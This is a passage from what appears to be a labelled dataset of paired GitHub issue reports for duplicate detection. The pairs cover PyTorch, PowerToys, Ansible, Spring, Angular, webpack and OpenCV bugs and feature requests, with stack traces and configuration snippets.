class="notranslate">torchvision</code>.</p> <h2 dir="auto">Pitch</h2> <p dir="auto">I propose the replicate work done in This PR](<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="579440339" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/34597" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/34597/hovercard" href="https://github.com/pytorch/pytorch/pull/34597">#34597</a>) and add a new code path as it was done here:</p> <p dir="auto"><a href="https://github.com/pytorch/pytorch/blob/master/aten/src/ATen/native/cpu/UpSampleKernel.cpp#L342-L351">https://github.com/pytorch/pytorch/blob/master/aten/src/ATen/native/cpu/UpSampleKernel.cpp#L342-L351</a></p> <p dir="auto">This approach is simple. We would also stay consistent with the approach already taken. However, it's going to be hard to avoid unnecessary code duplication. I'll do my best.</p> <p dir="auto"><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fmassa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fmassa">@fmassa</a> , <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VitalyFedyunin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VitalyFedyunin">@VitalyFedyunin</a> Thoughts?</p> <p dir="auto">cc <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngimel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngimel">@ngimel</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VitalyFedyunin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VitalyFedyunin">@VitalyFedyunin</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jamesr66a/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jamesr66a">@jamesr66a</a></p>
0
<h2 dir="auto"><g-emoji class="g-emoji" alias="information_source" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2139.png">ℹ</g-emoji> Computer information</h2> <ul dir="auto"> <li>Windows build number: 1909 18363.959</li> <li>PowerToys version: 0.20</li> <li>PowerToy module:</li> </ul> <h2 dir="auto"><g-emoji class="g-emoji" alias="memo" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f4dd.png">📝</g-emoji> Provide detailed reproduction steps (if any)</h2> <ol dir="auto"> <li>I updated from .19.2 to .20</li> <li>When the application started nothing happened for minutes but cpu was taking 15% for this process</li> <li>I killed the process in taskmanager</li> <li>i started powertoys again and got a popup to fill in a new issue</li> </ol> <h3 dir="auto"><g-emoji class="g-emoji" alias="heavy_check_mark" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2714.png">✔️</g-emoji> Expected result</h3> <p dir="auto">Just a normal program start</p> <h3 dir="auto"><g-emoji class="g-emoji" alias="x" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/274c.png">❌</g-emoji> Actual result</h3> <p dir="auto">No crashes<br> <a href="https://github.com/microsoft/PowerToys/files/5010001/2020-08-01.txt">2020-08-01.txt</a></p> <h2 dir="auto">📷 Exception message, see also the attachments</h2> <p dir="auto">Version: 1.0.0<br> OS Version: Microsoft Windows NT 10.0.18363.0<br> IntPtr Length: 8<br> x64: True<br> Date: 08/01/2020 09:57:46<br> Exception:<br> System.ObjectDisposedException: Cannot access a disposed object.<br> Object name: 'Timer'.<br> at System.Timers.Timer.set_Enabled(Boolean value)<br> at System.Timers.Timer.Start()<br> at PowerLauncher.MainWindow.OnVisibilityChanged(Object sender, DependencyPropertyChangedEventArgs e)<br> at System.Windows.UIElement.RaiseDependencyPropertyChanged(EventPrivateKey key, DependencyPropertyChangedEventArgs args)<br> at System.Windows.UIElement.OnIsVisibleChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)<br> at System.Windows.DependencyObject.OnPropertyChanged(DependencyPropertyChangedEventArgs e)<br> at System.Windows.FrameworkElement.OnPropertyChanged(DependencyPropertyChangedEventArgs e)<br> at System.Windows.DependencyObject.NotifyPropertyChange(DependencyPropertyChangedEventArgs args)<br> at System.Windows.UIElement.UpdateIsVisibleCache()<br> at System.Windows.PresentationSource.RootChanged(Visual oldRoot, Visual newRoot)<br> at System.Windows.Interop.HwndSource.set_RootVisualInternal(Visual value)<br> at System.Windows.Interop.HwndSource.set_RootVisual(Visual value)<br> at System.Windows.Window.SetRootVisual()<br> at System.Windows.Window.SetRootVisualAndUpdateSTC()<br> at System.Windows.Window.SetupInitialState(Double requestedTop, Double requestedLeft, Double requestedWidth, Double requestedHeight)<br> at System.Windows.Window.CreateSourceWindow(Boolean duringShow)<br> at System.Windows.Window.CreateSourceWindowDuringShow()<br> at System.Windows.Window.SafeCreateWindowDuringShow()<br> at System.Windows.Window.ShowHelper(Object booleanBox)<br> at System.Windows.Threading.ExceptionWrapper.InternalRealCall(Delegate callback, Object args, Int32 numArgs)<br> at System.Windows.Threading.ExceptionWrapper.TryCatchWhen(Object source, Delegate callback, Object args, Int32 numArgs, Delegate catchHandler)</p> <p dir="auto"><a href="https://github.com/microsoft/PowerToys/files/5010002/2020-08-01.txt">2020-08-01.txt</a></p>
<p dir="auto">Popup tells me to give y'all this.</p> <p dir="auto"><a href="https://github.com/microsoft/PowerToys/files/5009460/2020-07-31.txt">2020-07-31.txt</a></p> <p dir="auto">Version: 1.0.0<br> OS Version: Microsoft Windows NT 10.0.19041.0<br> IntPtr Length: 8<br> x64: True<br> Date: 07/31/2020 17:29:59<br> Exception:<br> System.ObjectDisposedException: Cannot access a disposed object.<br> Object name: 'Timer'.<br> at System.Timers.Timer.set_Enabled(Boolean value)<br> at System.Timers.Timer.Start()<br> at PowerLauncher.MainWindow.OnVisibilityChanged(Object sender, DependencyPropertyChangedEventArgs e)<br> at System.Windows.UIElement.RaiseDependencyPropertyChanged(EventPrivateKey key, DependencyPropertyChangedEventArgs args)<br> at System.Windows.UIElement.OnIsVisibleChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)<br> at System.Windows.DependencyObject.OnPropertyChanged(DependencyPropertyChangedEventArgs e)<br> at System.Windows.FrameworkElement.OnPropertyChanged(DependencyPropertyChangedEventArgs e)<br> at System.Windows.DependencyObject.NotifyPropertyChange(DependencyPropertyChangedEventArgs args)<br> at System.Windows.UIElement.UpdateIsVisibleCache()<br> at System.Windows.PresentationSource.RootChanged(Visual oldRoot, Visual newRoot)<br> at System.Windows.Interop.HwndSource.set_RootVisualInternal(Visual value)<br> at System.Windows.Interop.HwndSource.set_RootVisual(Visual value)<br> at System.Windows.Window.SetRootVisual()<br> at System.Windows.Window.SetRootVisualAndUpdateSTC()<br> at System.Windows.Window.SetupInitialState(Double requestedTop, Double requestedLeft, Double requestedWidth, Double requestedHeight)<br> at System.Windows.Window.CreateSourceWindow(Boolean duringShow)<br> at System.Windows.Window.CreateSourceWindowDuringShow()<br> at System.Windows.Window.SafeCreateWindowDuringShow()<br> at System.Windows.Window.ShowHelper(Object booleanBox)<br> at System.Windows.Threading.ExceptionWrapper.InternalRealCall(Delegate callback, Object args, Int32 numArgs)<br> at System.Windows.Threading.ExceptionWrapper.TryCatchWhen(Object source, Delegate callback, Object args, Int32 numArgs, Delegate catchHandler)</p>
1
<p dir="auto">Issue Type:</p> <p dir="auto">Bug Report</p> <p dir="auto">Ansible Version:</p> <p dir="auto">Working on</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ansible 2.0.0 (detached HEAD e2ddc2f6ab) last updated 2015/11/30 18:18:21 (GMT -700) lib/ansible/modules/core: (detached HEAD 0e043f8c58) last updated 2015/11/30 18:17:43 (GMT -700) lib/ansible/modules/extras: (detached HEAD e46e2e1d6f) last updated 2015/11/30 16:37:19 (GMT -700) "><pre class="notranslate"><code class="notranslate">ansible 2.0.0 (detached HEAD e2ddc2f6ab) last updated 2015/11/30 18:18:21 (GMT -700) lib/ansible/modules/core: (detached HEAD 0e043f8c58) last updated 2015/11/30 18:17:43 (GMT -700) lib/ansible/modules/extras: (detached HEAD e46e2e1d6f) last updated 2015/11/30 16:37:19 (GMT -700) </code></pre></div> <p dir="auto">Doesn't work on:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ansible 2.0.0 (stable-2.0 204e27ca66) last updated 2015/11/30 16:38:33 (GMT -700) lib/ansible/modules/core: (detached HEAD 273112c56d) last updated 2015/11/30 16:52:55 (GMT -700) lib/ansible/modules/extras: (detached HEAD e46e2e1d6f) last updated 2015/11/30 16:37:19 (GMT -700)"><pre class="notranslate"><code class="notranslate">ansible 2.0.0 (stable-2.0 204e27ca66) last updated 2015/11/30 16:38:33 (GMT -700) lib/ansible/modules/core: (detached HEAD 273112c56d) last updated 2015/11/30 16:52:55 (GMT -700) lib/ansible/modules/extras: (detached HEAD e46e2e1d6f) last updated 2015/11/30 16:37:19 (GMT -700) </code></pre></div> <p dir="auto">and doesn't work on</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ansible 2.0.0 (devel dc0fae1af7) last updated 2015/11/30 16:37:03 (GMT -700) lib/ansible/modules/core: (detached HEAD 0e043f8c58) last updated 2015/11/30 18:17:43 (GMT -700) lib/ansible/modules/extras: (detached HEAD e46e2e1d6f) last updated 2015/11/30 16:37:19 (GMT -700) "><pre class="notranslate"><code class="notranslate">ansible 2.0.0 (devel dc0fae1af7) last updated 2015/11/30 16:37:03 (GMT -700) lib/ansible/modules/core: (detached HEAD 0e043f8c58) last updated 2015/11/30 18:17:43 (GMT -700) lib/ansible/modules/extras: (detached HEAD e46e2e1d6f) last updated 2015/11/30 16:37:19 (GMT -700) </code></pre></div> <p dir="auto">Ansible Configuration:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[defaults] remote_user=root transport=ssh [ssh_connection] ssh_args=-o StrictHostKeyChecking=true"><pre class="notranslate"><code class="notranslate">[defaults] remote_user=root transport=ssh [ssh_connection] ssh_args=-o StrictHostKeyChecking=true </code></pre></div> <p dir="auto">Environment:</p> <p dir="auto">Centos 6</p> <p dir="auto">Summary:</p> <p dir="auto">Delegate to causing ssh key error</p> <p dir="auto">Steps To Reproduce:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" --- - name: testing delegate to hosts: host1 gather_facts: false tasks: - name: attempting to do a shell ls shell: ls delegate_to: delhost"><pre class="notranslate"><code class="notranslate"> --- - name: testing delegate to hosts: host1 gather_facts: false tasks: - name: attempting to do a shell ls shell: ls delegate_to: delhost </code></pre></div> <p dir="auto">Expected Results:</p> <p dir="auto">ls of home dir of delhost</p> <p dir="auto">Actual Results:</p> <p dir="auto">ssh error saying key errors looks like it can't connect to delhost but I'm not sure. I know that I can ssh normally to delhost</p>
<p dir="auto">Issue Type: Bug Report (2.0 regression)<br> Ansible Version: 2.0.0 (devel)<br> Ansible Configuration: default<br> Environment: Ubuntu 14.04<br> Summary:<br> delegate_to does not use user specified with remote_user.</p> <p dir="auto">Steps To Reproduce:<br> Following playbook works correctly on 1.9.4 with output root and on devel it outputs normal user.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" --- - hosts: - test-vm become: yes tasks: - command: whoami register: whoami delegate_to: &quot;test-vm2&quot; remote_user: root become: false - debug: msg=&quot;{{ whoami.stdout }}&quot;"><pre class="notranslate"><code class="notranslate"> --- - hosts: - test-vm become: yes tasks: - command: whoami register: whoami delegate_to: "test-vm2" remote_user: root become: false - debug: msg="{{ whoami.stdout }}" </code></pre></div> <p dir="auto">Expected Results:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ok: [test] =&gt; { &quot;changed&quot;: false, &quot;invocation&quot;: { &quot;module_args&quot;: { &quot;msg&quot;: &quot;root&quot; }, &quot;module_name&quot;: &quot;debug&quot; }, &quot;msg&quot;: &quot;root } "><pre class="notranslate"><code class="notranslate">ok: [test] =&gt; { "changed": false, "invocation": { "module_args": { "msg": "root" }, "module_name": "debug" }, "msg": "root } </code></pre></div> <p dir="auto">Actual Results:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ok: [test] =&gt; { &quot;changed&quot;: false, &quot;invocation&quot;: { &quot;module_args&quot;: { &quot;msg&quot;: &quot;username&quot; }, &quot;module_name&quot;: &quot;debug&quot; }, &quot;msg&quot;: &quot;username&quot; }"><pre class="notranslate"><code class="notranslate">ok: [test] =&gt; { "changed": false, "invocation": { "module_args": { "msg": "username" }, "module_name": "debug" }, "msg": "username" } </code></pre></div>
1
<p dir="auto"><strong><a href="https://jira.spring.io/secure/ViewProfile.jspa?name=marceloverdijk" rel="nofollow">Marcel Overdijk</a></strong> opened <strong><a href="https://jira.spring.io/browse/SPR-9221?redirect=false" rel="nofollow">SPR-9221</a></strong> and commented</p> <p dir="auto">It would be nice to add more flexibility to the form:errors tag.<br> E.g. to render something like</p> <p dir="auto">&lt;ul&gt;<br> &lt;li&gt;error1&lt;/li&gt;<br> &lt;li&gt;error2&lt;/li&gt;<br> &lt;ul&gt;</p> <p dir="auto">With element="ul" a part can be implemented but the &lt;li&gt; element is not possible.<br> The delimiter attribute just outputs it content after eacht error.</p> <p dir="auto">Maybe the form:errors tag can be extended with something like errorElement or itemElement indicating a wrapper element for the each error.</p> <p dir="auto">Something like this:</p> <p dir="auto">&lt;form:errors path="*" element="ul" errorElement="li" /&gt;</p> <hr> <p dir="auto"><strong>Affects:</strong> 3.1.1</p> <p dir="auto"><strong>Issue Links:</strong></p> <ul dir="auto"> <li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="398077274" data-permission-text="Title is private" data-url="https://github.com/spring-projects/spring-framework/issues/8073" data-hovercard-type="issue" data-hovercard-url="/spring-projects/spring-framework/issues/8073/hovercard" href="https://github.com/spring-projects/spring-framework/issues/8073">#8073</a> Better error handling from the form:errors tag (<em><strong>"duplicates"</strong></em>)</li> </ul>
<p dir="auto"><strong><a href="https://jira.spring.io/secure/ViewProfile.jspa?name=wshields" rel="nofollow">William Shields</a></strong> opened <strong><a href="https://jira.spring.io/browse/SPR-3390?redirect=false" rel="nofollow">SPR-3390</a></strong> and commented</p> <p dir="auto">form:errors is a pretty crude mechanism for displaying multiple errors. It uses a default delimieter of &lt;br&gt;. It should allow for more sophisticated methods of displaying errors.</p> <p dir="auto">In the simple case, I would like to see "schemes" introduced. For example:</p> <p dir="auto">&lt;form:errors path="*" scheme="ul"/&gt;</p> <p dir="auto">which would craete:</p> <p dir="auto">&lt;ul&gt;<br> &lt;li&gt;error1&lt;/li&gt;<br> &lt;li&gt;error2&lt;/li&gt;<br> &lt;/ul&gt;</p> <p dir="auto">Note: if there were no errors the enclosing &lt;ul&gt; tag should not be rendered.</p> <p dir="auto">Example schemes could be:</p> <p dir="auto">table<br> ul<br> ol</p> <p dir="auto">Potentially this may require another attribute to distinguish between the CSS class given to the enclosing tags and that given to each element, although if the enclosing tag got the value of cssClass, a CSS selector could resolve that problem without adding an attribute.</p> <p dir="auto">In the more complicated example, it is possibly worthwhile (although arguably unnecessary if you have sufficient schemes as defined above) to allow either the programmer to write their own schemes or to have sufficient attributes to achieve the same thing.</p> <p dir="auto">Example:</p> <p dir="auto">&lt;form:scheme name="errorTable"&gt;</p> <p dir="auto">form:pre</p> <p dir="auto">&lt;table&gt;<br> &lt;tr&gt;<br> &lt;th&gt;Error #&lt;/th&gt;<br> &lt;th&gt;Error Description&lt;/th&gt;<br> &lt;/tr&gt;<br> &lt;/form:pre&gt;</p> <p dir="auto">&lt;form:loop var="count"&gt;</p> <p dir="auto">&lt;tr&gt;<br> &lt;td&gt;&lt;c:out value="${count}"/&gt;&lt;/td&gt;<br> &lt;td&gt;&lt;form:error/&gt;&lt;/td&gt;<br> &lt;/tr&gt;<br> &lt;/form:loop&gt;</p> <p dir="auto">form:post</p> <p dir="auto">&lt;/table&gt;<br> &lt;/form:post&gt;</p> <p dir="auto">&lt;/form:scheme&gt;</p> <p dir="auto">The simple example of this kind of thing would be adding attributes:</p> <p dir="auto">&lt;form:errors path="*" block="ul" item="li"/&gt;</p> <p dir="auto">alternatively have a heading block within:</p> <p dir="auto">&lt;form:errors path="*" block="ul" item="li"&gt;</p> <p dir="auto">&lt;p&gt;The following errors have occurred:&lt;/p&gt;<br> &lt;/form:errors&gt;<br> Anywa, you get the idea.</p> <hr> <p dir="auto"><strong>Affects:</strong> 2.0.4</p> <p dir="auto"><strong>Issue Links:</strong></p> <ul dir="auto"> <li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="398117956" data-permission-text="Title is private" data-url="https://github.com/spring-projects/spring-framework/issues/13859" data-hovercard-type="issue" data-hovercard-url="/spring-projects/spring-framework/issues/13859/hovercard" href="https://github.com/spring-projects/spring-framework/issues/13859">#13859</a> Extend form:errors with something like errorElement (<em><strong>"is duplicated by"</strong></em>)</li> </ul> <p dir="auto">20 votes, 14 watchers</p>
1
<p dir="auto"><strong>I'm submitting a ...</strong> (check one with "x")</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[ ] bug report =&gt; search github for a similar issue or PR before submitting [x] feature request [ ] support request =&gt; Please do not submit support request here, instead see https://github.com/angular/angular/blob/master/CONTRIBUTING.md#question"><pre class="notranslate"><code class="notranslate">[ ] bug report =&gt; search github for a similar issue or PR before submitting [x] feature request [ ] support request =&gt; Please do not submit support request here, instead see https://github.com/angular/angular/blob/master/CONTRIBUTING.md#question </code></pre></div> <p dir="auto"><strong>Current behavior</strong><br> We can use <code class="notranslate">ChangeDetectionStrategy</code> <code class="notranslate">onPush</code> to set components to <code class="notranslate">checkOnce</code>, but there is no way to set one <code class="notranslate">@Input</code> to <code class="notranslate">checkOnce</code> without changing others.</p> <p dir="auto"><strong>Expected behavior</strong><br> Could we add a way to set one <code class="notranslate">@Input</code> to <code class="notranslate">checkOnce</code> without changing others?</p> <p dir="auto"><strong>Minimal reproduction of the problem with instructions</strong></p> <p dir="auto"><strong>What is the motivation / use case for changing the behavior?</strong></p> <p dir="auto">There is no angularjs double colon expression equivalent in current angular version. It will be more convenient for the developer to have this feature in angular.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="In a angularjs, when we declare a value such as `{{ ::foo }}` inside the DOM, once this value becomes defined, Angularjs will render it, unbind it from the watchers and thus reduce the volume of bindings inside the $digest loop. "><pre class="notranslate"><code class="notranslate">In a angularjs, when we declare a value such as `{{ ::foo }}` inside the DOM, once this value becomes defined, Angularjs will render it, unbind it from the watchers and thus reduce the volume of bindings inside the $digest loop. </code></pre></div> <p dir="auto"><strong>Please tell us about your environment:</strong><br> null</p> <ul dir="auto"> <li> <p dir="auto"><strong>Angular version:</strong> 2.0.X<br> 4.1.2</p> </li> <li> <p dir="auto"><strong>Browser:</strong> [all | Chrome XX | Firefox XX | IE XX | Safari XX | Mobile Chrome XX | Android X.X Web Browser | iOS XX Safari | iOS XX UIWebView | iOS XX WKWebView ]<br> all</p> </li> <li> <p dir="auto"><strong>Language:</strong> [all | TypeScript X.X | ES6/7 | ES5]<br> all</p> </li> <li> <p dir="auto"><strong>Node (for AoT issues):</strong> <code class="notranslate">node --version</code> =<br> 7</p> </li> </ul>
<p dir="auto">Changes to newly created Components with DynamicComponentLoader are not detected.</p> <p dir="auto">Angular Version alpha.33</p> <p dir="auto">An easy example you can find here:</p> <p dir="auto">index.ts</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="bootstrap(App).then((appRef:ApplicationRef)=&gt;{ var appComp:Promise&lt;App&gt; = appRef.injector.get(App); appComp.then((app) =&gt;{ app.createLoginView(); }); }).catch((e)=&gt;{console.log(e)});"><pre class="notranslate"><code class="notranslate">bootstrap(App).then((appRef:ApplicationRef)=&gt;{ var appComp:Promise&lt;App&gt; = appRef.injector.get(App); appComp.then((app) =&gt;{ app.createLoginView(); }); }).catch((e)=&gt;{console.log(e)}); </code></pre></div> <p dir="auto">app.html</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;div&gt; &lt;div #main&gt;{{msg}}&lt;/div&gt; &lt;/div&gt;"><pre class="notranslate"><code class="notranslate">&lt;div&gt; &lt;div #main&gt;{{msg}}&lt;/div&gt; &lt;/div&gt; </code></pre></div> <p dir="auto">app.ts</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="@Component({ selector: 'app', injectables: [DynamicComponentLoader, Injector, ElementRef] }) @View({ templateUrl: 'src/component/app/app.html', styleUrls: ['src/component/app/app.css'] }) export class App { componentLoader:DynamicComponentLoader; injector:Injector; elementRef:ElementRef; msg:string = &quot;Foo&quot;; constructor(loader:DynamicComponentLoader, injector:Injector, elementRef:ElementRef) { this.componentLoader = loader; this.injector = injector; this.elementRef = elementRef; } createLoginView():void { this.componentLoader.loadIntoLocation(Login, this.elementRef, &quot;main&quot;).then(componentRef=&gt; { this.msg = &quot;Bar&quot;; }).catch(e=&gt;console.log(e)); } }"><pre class="notranslate"><code class="notranslate">@Component({ selector: 'app', injectables: [DynamicComponentLoader, Injector, ElementRef] }) @View({ templateUrl: 'src/component/app/app.html', styleUrls: ['src/component/app/app.css'] }) export class App { componentLoader:DynamicComponentLoader; injector:Injector; elementRef:ElementRef; msg:string = "Foo"; constructor(loader:DynamicComponentLoader, injector:Injector, elementRef:ElementRef) { this.componentLoader = loader; this.injector = injector; this.elementRef = elementRef; } createLoginView():void { this.componentLoader.loadIntoLocation(Login, this.elementRef, "main").then(componentRef=&gt; { this.msg = "Bar"; }).catch(e=&gt;console.log(e)); } } </code></pre></div> <p dir="auto">The provided "Bar" string is not loaded to the app.html and "Foo" is still displayed (Change was not detected). As soon the first event is triggered by any component, the "Bar" msg will shows up. It seems to be an issue within:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" this.componentLoader.loadIntoLocation(Login, this.elementRef, &quot;main&quot;).then(componentRef=&gt; { this.msg = &quot;Bar&quot;; }).catch(e=&gt;console.log(e));"><pre class="notranslate"><code class="notranslate"> this.componentLoader.loadIntoLocation(Login, this.elementRef, "main").then(componentRef=&gt; { this.msg = "Bar"; }).catch(e=&gt;console.log(e)); </code></pre></div> <p dir="auto">If I call createLoginView() from the App constructor and not from the bootstrap Promise, the app.html displays the correct "Bar" msg.</p> <p dir="auto">Is there something I'm doing wrong? Thx</p>
0
<h1 dir="auto">I'm submitting a...</h1> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> bug report</li> </ul> <p dir="auto"><strong>Webpack version:</strong><br> 2.1.0-beta.13</p> <p dir="auto"><strong>Please tell us about your environment:</strong><br> OSX 10.11.5</p> <p dir="auto"><strong>Current behavior:</strong><br> When loaders are defined with <code class="notranslate">-loader</code> (e.g. <code class="notranslate">babel-loader</code>), because the default value of <code class="notranslate">moduleExtensions</code> is <code class="notranslate">-loader</code>, module resolution attempts to find <code class="notranslate">babel-loader-loader</code>, which causes an erroneous <code class="notranslate">npm install</code> with this plugin:</p> <blockquote> <p dir="auto"><a href="https://github.com/ericclemmons/npm-install-webpack-plugin">https://github.com/ericclemmons/npm-install-webpack-plugin</a></p> </blockquote> <p dir="auto"><strong>Expected/desired behavior:</strong></p> <p dir="auto">Expected that that this <em>enforces</em> the <code class="notranslate">-loader</code> extension, so that <code class="notranslate">babel</code> becomes <code class="notranslate">babel-loader</code>. It should noop if <code class="notranslate">/-loader$/</code> matches.</p> <ul dir="auto"> <li><strong>If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem along with a gist/jsbin of your webpack configuration.</strong></li> </ul> <p dir="auto">I believe this is due to these two files:</p> <blockquote> <p dir="auto"><a href="https://github.com/webpack/enhanced-resolve/blob/d154f01b6f74b90f3ac3c5ea6cca89abead5236c/lib/ResolverFactory.js#L164-L169">https://github.com/webpack/enhanced-resolve/blob/d154f01b6f74b90f3ac3c5ea6cca89abead5236c/lib/ResolverFactory.js#L164-L169</a><br> <a href="https://github.com/webpack/enhanced-resolve/blob/master/lib/ModuleAppendPlugin.js">https://github.com/webpack/enhanced-resolve/blob/master/lib/ModuleAppendPlugin.js</a></p> </blockquote>
<p dir="auto"><a href="http://typescript.codeplex.com/" rel="nofollow">http://typescript.codeplex.com/</a></p> <p dir="auto">If this post gets +5 I'll plan to do this...</p>
0
<h5 dir="auto">System information (version)</h5> <ul dir="auto"> <li>OpenCV =&gt; <g-emoji class="g-emoji" alias="grey_question" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2754.png">❔</g-emoji></li> <li>Operating System / Platform =&gt; <g-emoji class="g-emoji" alias="grey_question" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2754.png">❔</g-emoji></li> <li>Compiler =&gt; <g-emoji class="g-emoji" alias="grey_question" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2754.png">❔</g-emoji></li> </ul> <h5 dir="auto">Detailed description</h5> <h5 dir="auto">Steps to reproduce</h5>
<h5 dir="auto">System information (version)</h5> <ul dir="auto"> <li>OpenCV =&gt; 3.4.2 or higher</li> <li>Operating System / Platform =&gt; Linux 64</li> <li>Compiler =&gt; Unbatu 16.04 gcc-linaro-6.2.1-2016.11-x86_64_arm-linux-gnueabihf -&gt; arm-linux-gnueabihf-g++</li> </ul> <h5 dir="auto">Detailed description</h5> <p dir="auto">I found that in the same environment configuration, cross-compilation after installing ffmpeg-4.1, OpenCV 3.4.2 or later can not use FFMPEG library (but OpenCV 3.2.0 can)</p> <p dir="auto">In cmake3.5.1<br> OpenCV 3.2.0 can recognize FFMPEG:<br> Video I/O:<br> DC1394 1.x: NO<br> DC1394 2.x: NO<br> FFMPEG: YES<br> avcodec: YES (ver 56.60.100)<br> avformat: YES (ver 56.40.101)<br> avutil: YES (ver 54.31.100)<br> swscale: YES (ver 3.1.101)<br> avresample: NO<br> However, OpenCV 3.4.2 does not recognize FFMPEG:</p> <p dir="auto">Video I/O:<br> DC1394: NO<br> FFMPEG: NO<br> avcodec: NO<br> avformat: NO<br> avutil: NO<br> swscale: NO<br> avresample: NO<br> GStreamer: NO<br> libv4l/libv4l2: NO<br> v4l/v4l2: linux/videodev2.h<br> gPhoto2: NO</p> <p dir="auto">I carefully compared the code they identified in the FFMPEG module and found that OpenCV 3.4.2 is impossible to use FFMPEG:(OpenCVFindLibsVideo.cmake)</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/20057578/49685920-dd4e6980-fb27-11e8-9f00-e812333ad900.png"><img src="https://user-images.githubusercontent.com/20057578/49685920-dd4e6980-fb27-11e8-9f00-e812333ad900.png" alt="image" style="max-width: 100%;"></a></p> <p dir="auto">Look at this variable carefully<br> ${FFMPEG_INCLUDE_DIRS}<br> in OpenCV 3.2.0 Can find configuration<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/20057578/49685963-59e14800-fb28-11e8-9653-e06a0ba8ebe9.png"><img src="https://user-images.githubusercontent.com/20057578/49685963-59e14800-fb28-11e8-9653-e06a0ba8ebe9.png" alt="image" style="max-width: 100%;"></a><br> but in in OpenCV 3.4.2 Can not find configuration<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/20057578/49685980-8f863100-fb28-11e8-80b6-3984a5dd39da.png"><img src="https://user-images.githubusercontent.com/20057578/49685980-8f863100-fb28-11e8-80b6-3984a5dd39da.png" alt="image" style="max-width: 100%;"></a></p> <p dir="auto">OpenCV 3.2.0 is very useful, but it is difficult to use on OpenCV 3.4.x version! I am constantly changing the FFMPEG version and running out of various configurations, but the OpenCV 3.4.x version does not correctly recognize FFMPEG. I don't know what caused this recognition process to be so complicated. Why is it so difficult to use OpenCV 3.4.x???</p> <h5 dir="auto">Steps to reproduce</h5>
0
<p dir="auto"><code class="notranslate">le</code> is a point-wise math operator so porting it from the TH code to Aten (and TensorIterator) expected to be easy. Such migration will help to clean up the code, simplify dispatch as well as provide immediate 2-3x operator performance gain.</p> <p dir="auto">Porting guide: <a href="https://github.com/pytorch/pytorch/wiki/TH-to-ATen-porting-guide">https://github.com/pytorch/pytorch/wiki/TH-to-ATen-porting-guide</a></p> <p dir="auto">Example PR with porting of the adaptive_avg_pool2d: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="386961306" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/14714" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/14714/hovercard" href="https://github.com/pytorch/pytorch/pull/14714">#14714</a></p> <p dir="auto">How to use TensorIterator: <a href="https://github.com/pytorch/pytorch/wiki/How-to-use-TensorIterator">https://github.com/pytorch/pytorch/wiki/How-to-use-TensorIterator</a></p>
